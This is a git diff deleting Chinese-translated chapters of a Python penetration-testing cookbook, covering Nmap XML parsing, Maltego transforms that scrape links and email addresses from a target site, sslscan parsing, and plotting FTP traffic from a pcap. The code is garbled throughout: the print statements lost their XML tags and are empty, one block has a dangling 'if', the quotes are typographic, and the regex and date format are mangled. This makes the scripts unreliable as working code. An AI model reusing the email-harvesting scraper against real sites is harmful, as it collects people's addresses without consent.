-在`with`语句之后,我们将文件的内容读入一个`content`变量(我们可以随意调用这个变量,但为什么会使事情过于复杂?) - -``` - content = fd.read() -``` - -使用我们之前创建的`Portscanner`对象,我们现在可以使用一种方法分析内容,该方法将解析我们提供的 XML 输出,然后我们可以将其打印为 CSV: - -``` -nm.analyse_nmap_xml_scan(content) - print(nm.csv()) -``` - -# 从 URL 提取指向 Maltego 的链接 - -本模块中还有一个配方,说明了如何使用`BeautifulSoup`库以编程方式获取域名。此配方将向您展示如何创建局部 Maltego 变换,然后您可以在 Maltego 内部使用该变换,以易于使用的图形方式生成信息。通过此转换收集的链接,还可以将其用作更大的爬行或爬行解决方案的一部分。 - -## 怎么做… - -下面的代码显示了如何创建一个脚本,该脚本将枚举的信息输出为 Maltego 的正确格式: - -``` -import urllib2 -from bs4 import BeautifulSoup -import sys - -tarurl = sys.argv[1] -if tarurl[-1] == “/”: - tarurl = tarurl[:-1] -print”” -print”” -print” ” - -url = urllib2.urlopen(tarurl).read() -soup = BeautifulSoup(url) -for line in soup.find_all(‘a’): - newline = line.get(‘href’) - if newline[:4] == “http”: - print”” - print””+str(newline)+”” - print”” - elif newline[:1] == “/”: - combline = tarurl+newline - print”” - print””+str(combline)+”” - print”” -print” ” -print”” -print”” -``` - -## 它是如何工作的… - -首先我们导入此配方所需的所有模块。您可能已经注意到,对于`BeautifulSoup`,我们有以下行: - -``` -from bs4 import BeautifulSoup -``` - -因此,当我们使用`BeautifulSoup`时,我们只需键入`BeautifulSoup`而不是`bs4.BeautifulSoup`。 - -然后,我们将参数中提供的目标 URL 分配到一个变量中: - -``` -tarurl = sys.argv[1] -``` - -完成后,我们检查目标 URL 是否以`/`结尾。如果是,那么我们通过将`tarurl`变量替换为`tarurl`的最后一个字符以外的所有字符来删除最后一个字符,以便以后在完全输出相对链接时可以在配方中使用它: - -``` -if tarurl[-1] == “/”: - tarurl = tarurl[:-1] -``` - -然后,我们打印出构成 Maltego 转换响应一部分的标签: - -``` -print”” -print”” -print” ” -``` - -然后我们用`urllib2`打开目标`url`并将其存储在`BeautifulSoup`中: - -``` -url = urllib2.urlopen(tarurl).read() -soup = BeautifulSoup(url) -``` - -我们现在使用“汤”查找所有``标签。更具体地说,我们将寻找带有超文本引用(链接)的``标记: - -``` -for line in soup.find_all(‘a’): - newline = line.get(‘href’) -``` - -如果链接的前四个字符为`http`,我们将其输出为正确的格式,作为 Maltego 的实体: - -``` -if newline[:4] == “http”: - print”” - print””+str(newline)+”” - print”” -``` - -如果第一个字符是`/`,表示该链接是一个相对链接,那么我们将在为该链接添加目标 URL 后,将其输出为正确的格式。虽然此配方显示了如何处理相对链接的一个示例,但需要注意的是,还有其他类型的相对链接,如文件名(`example.php`)、目录以及相对路径点符号(`../../example.php`),如下所示: - -``` -elif newline[:1] == “/”: - combline = tarurl+newline - if - print”” - print””+str(combline)+”” - print”” -``` - -处理完页面上的所有链接后,关闭在输出开始时打开的所有标记: - -``` -print” ” -print”” -print”” -``` - -## 还有更多… - -`BeautifulSoup`库包含其他可以使代码更简单的函数。其中一个函数称为**SoupStrainer**。SoupStrainer 将允许您只解析文档中所需的部分。我们将此作为练习留给您进行探索。 - -# 提取发送给 Maltego 的电子邮件 - -本模块中的还有一个配方,说明了如何从网站中提取电子邮件。本食谱将向您展示如何创建本地 Maltego 转换,然后您可以在 Maltego 自身中使用该转换生成信息。它可以与 URL 爬行转换结合使用,从整个网站中提取电子邮件。 - -## 怎么做… - -以下代码显示了如何通过使用正则表达式从网站提取电子邮件: - -``` -import urllib2 -import re -import sys - -tarurl = sys.argv[1] -url = urllib2.urlopen(tarurl).read() -regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~- ]+(?:\.[*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&’*+\/=?^_`” “{|}~- ]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|” “\ sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)”)) - -print”” -print”” -print” ” -emails = re.findall(regex, url) -for email in emails: - print” ” - print” ”+str(email[0])+”” - print” ” -print” ” -print”” -print”” -``` - -## 它是如何工作的… - -脚本顶部导入必要的模块。然后,我们将作为参数提供的 URL 分配给变量,并使用`urllib2`打开`url`列表: - -``` -tarurl = sys.argv[1] -url = urllib2.urlopen(tarurl).read() -``` - -然后,我们创建一个与标准电子邮件地址格式匹配的正则表达式: - -``` -regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~-]+(?:\.[a-z0- 9!#$%&’*+\/=?^_`” “{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|” “\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)”)) -``` - -前面的正则表达式应与格式为`email@address.com`的电子邮件地址或地址为.com 的电子邮件地址相匹配。 - -然后我们输出有效 Maltego 变换输出所需的标签: - -``` -print”” -print”” -print” ” -``` - -然后,我们在`url`内容中找到与正则表达式匹配的所有文本实例: - -``` -emails = re.findall(regex, url) -``` - -然后,我们获取找到的每个电子邮件地址,并将其以正确的格式输出,以进行 Maltego 转换响应: - -``` -for email in emails: - print” ” - print” ”+str(email[0])+”” - print” ” -``` - -然后关闭之前打开的打开标签: - -``` -print” ” -print”” -print”” -``` - -# 将 Sslscan 解析为 CSV - -Sslscan 是一个用于枚举 HTTPS 站点支持的密码的工具。了解站点支持的密码在 web 应用程序测试中很有用。如果某些支持的密码较弱,则这在渗透测试中更有用。 - -## 怎么做… - -此配方将在指定的 IP 地址上运行 Sslscan,并将结果输出为 CSV 格式: - -``` -import subprocess -import sys - -ipfile = sys.argv[1] - -IPs = open(ipfile, “r”) -output = open(“sslscan.csv”, “w+”) - -for IP in IPs: - try: - command = “sslscan “+IP - - ciphers = subprocess.check_output(command.split()) - - for line in ciphers.splitlines(): - if “Accepted” in line: - output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”) - except: - pass -``` - -## 它是如何工作的… - -我们首先导入必要的模块,并将参数中提供的文件名分配给一个变量: - -``` -import subprocess -import sys - -ipfile = sys.argv[1] -``` - -提供的文件名应指向包含 IP 地址列表的文件。我们以只读方式打开此文件: - -``` -IPs = open(ipfile, “r”) -``` - -然后用`w+`代替`r`打开文件进行读写输出: - -``` -output = open(“sslscan.csv”, “w+”) -``` - -现在既然我们有了我们的输入和输出,我们就可以开始了。我们首先遍历 IP 地址: - -``` -for IP in IPs: -``` - -对于每个 IP,我们运行 Sslscan: - -``` - try: - command = “sslscan “+IP -``` - -然后,我们将命令的输出分为多个块: - -``` - ciphers = subprocess.check_output(command.split()) -``` - -然后我们逐行检查输出。如果该行包含单词`Accepted`,则我们安排该行的元素进行 CSV 输出: - -``` - for line in ciphers.splitlines(): - if “Accepted” in line: - output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”) -``` - -最后,如果出于任何原因,尝试在 IP 上运行 SSL 扫描失败,我们只需转到下一个 IP 地址: - -``` - except: - pass -``` - -# 使用 plot.ly 生成图形 - -有时候拥有数据的可视表示真的很好。在这个配方中,我们将使用`plot.ly`python API 生成一个漂亮的图形。 - -## 准备好了吗 - -在这个配方中,我们将使用`plot.ly`API 生成图形。如果您还没有账户,您需要在[注册一个账户 https://plot.ly](https://plot.ly) 。 - -一旦您拥有一个帐户,您将需要准备好使用`plot.ly`的环境。 - -最简单的方法是使用`pip`安装,所以只需运行以下命令: - -``` -$ pip install plotly - -``` - -然后,您需要运行以下命令(用您自己的命令替换`{username}`、`{apikey}`和`{streamids}`,这些命令可以在`plot.ly`站点上的您的帐户订阅下查看): - -``` -python -c “import plotly; plotly.tools.set_credentials_file(username=’{username}’, api_key=’{apikey}’, stream_ids=[{streamids}])” - -``` - -如果您遵循这个示例,那么我使用了在线提供的用于测试的`pcap`文件:[http://www.snaketrap.co.uk/pcaps/hbot.pcap](http://www.snaketrap.co.uk/pcaps/hbot.pcap) 。 - -我们将枚举`pcap`文件中的所有 FTP 数据包,并根据时间绘制它们。 - -为了解析`pcap`文件,我们将使用`dpkt`模块。与早期配方中使用的`Scapy`类似,`dpkt`也可用于解析和操作数据包。 - -最简单的方法是使用`pip`安装。只需运行以下命令: - -``` -$ pip install dpkt - -``` - -## 怎么做… - -此配方将读取一个`pcap`文件,并提取任何 FTP 数据包的日期和时间,然后将此数据绘制成图形: - -``` -import time, dpkt -import plotly.plotly as py -from plotly.graph_objs import * -from datetime import datetime - -filename = ‘hbot.pcap’ - -full_datetime_list = [] -dates = [] - -for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)): - eth=dpkt.ethernet.Ethernet(pkt) - if eth.type!=dpkt.ethernet.ETH_TYPE_IP: - continue - - ip = eth.data - tcp=ip.data - - if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP): - continue - - if tcp.dport == 21 or tcp.sport == 21: - full_datetime_list.append((ts, str(time.ctime(ts)))) - -for t,d in full_datetime_list: - if d not in dates: - dates.append(d) - -dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d %H:%M:%S %Y”)) - -datecount = [] - -for d in dates: - counter = 0 - for d1 in full_datetime_list: - if d1[1] == d: - counter += 1 - - datecount.append(counter) - -data = Data([ - Scatter( - x=dates, - y=datecount - ) -]) -plot_url = py.plot(data, filename=’FTP Requests’) -``` - -## 它是如何工作的… - -我们首先导入必要的模块,并将`pcap`文件的文件名分配给一个变量: - -``` -import time, dpkt -import plotly.plotly as py -from plotly.graph_objs import * -from datetime import datetime - -filename = ‘hbot.pcap’ -``` - -接下来,我们设置我们的列表,当我们迭代我们的`pcap`文件时,我们将填充这些列表。`Full_datetime_list`变量将保存所有 FTP 数据包日期,而`dates`将用于保存完整列表中唯一的`datetime`: - -``` -full_datetime_list = [] -dates = [] -``` - -然后我们打开`pcap`文件进行读取,并在`for`循环中对其进行迭代。本节检查数据包是否为 FTP 数据包,如果是,则将时间附加到我们的阵列: - -``` -for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)): - eth=dpkt.ethernet.Ethernet(pkt) - if eth.type!=dpkt.ethernet.ETH_TYPE_IP: - continue - - ip = eth.data - tcp=ip.data - - if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP): - continue - - if tcp.dport == 21 or tcp.sport == 21: - full_datetime_list.append((ts, str(time.ctime(ts)))) -``` - -现在我们有了 FTP 流量的`datetime`函数列表,我们可以从中获得唯一的`datetime`函数并填充我们的`dates`数组: - -``` -for t,d in full_datetime_list: - if d not in dates: - dates.append(d) -``` - -然后,我们对日期进行排序,使其在图表上按顺序排列: - -``` -dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d H:%M:%S %Y”)) -``` - -然后,我们只需迭代唯一的日期,并计算在此期间从较大的数组发送/接收的所有数据包,然后填充计数器数组: - -``` -datecount = [] - -for d in dates: - counter = 0 - for d1 in full_datetime_list: - if d1[1] == d: - counter += 1 - - datecount.append(counter) -``` - -只需使用我们的日期数组对`plot.ly`进行 API 调用,并将数组作为数据点进行计数: - -``` -data = Data([ - Scatter( - x=dates, - y=datecount - ) -]) -plot_url = py.plot(data, filename=’FTP Requests’) -``` - -当您运行脚本时,它会弹出浏览器,打开您新创建的`plot.ly`图形,如下所示: - -![How it works…](graphics/B04044_09_01.jpg) - -这就是全部。`plot.ly`有很多不同的方法来可视化您的数据,值得一试。想想当你的老板看到你开始发送的所有漂亮图表时,他们会给你留下多么深刻的印象。 \ No newline at end of file diff --git a/trans/py-pentest-dev/27.md b/trans/py-pentest-dev/27.md deleted file mode 100644 index e979a2d..0000000 --- a/trans/py-pentest-dev/27.md +++ /dev/null @@ -1,7 +0,0 @@ -# 附录 A.参考书目 - -这条学习道路是一条内容的混合体,所有内容都打包在一起,让您的旅程牢记在心。它包括以下 Packt 产品的内容: - -* *使用 Python 学习渗透测试-Christopher Duffy* -* *Python 渗透测试要领,Mohit* -* *Python Web 渗透测试食谱-卡梅隆·布坎南、特里·Ip、安德鲁·马比特、本杰明·梅、戴夫·芒德* \ No newline at end of file diff --git a/trans/py-pentest-dev/sec1.md b/trans/py-pentest-dev/sec1.md deleted file mode 100644 index aa231ac..0000000 --- a/trans/py-pentest-dev/sec1.md +++ /dev/null @@ -1,5 +0,0 @@ -# 第一部分。单元 1 - -> ***用 Python 学习渗透测试*** -> -> *利用 Python 脚本执行高效的渗透测试* \ No newline at end of file diff --git a/trans/py-pentest-dev/sec2.md b/trans/py-pentest-dev/sec2.md deleted file mode 100644 index 72e9217..0000000 --- a/trans/py-pentest-dev/sec2.md +++ /dev/null @@ -1,5 +0,0 @@ -# 第二部分。单元 2 - -> ***Python 渗透测试要领*** -> -> *利用 Python 的力量,充分利用 pentesting* \ No newline at end of file diff --git a/trans/py-pentest-dev/sec3.md b/trans/py-pentest-dev/sec3.md deleted file mode 100644 index 9059929..0000000 --- a/trans/py-pentest-dev/sec3.md +++ /dev/null @@ -1,5 +0,0 @@ -# 第三部分。单元 3 - -> ***Python Web 渗透测试食谱*** -> -> *60 多个不可或缺的 Python 配方,确保您随时掌握正确的 web 应用程序测试代码* \ No newline at end of file -- GitLab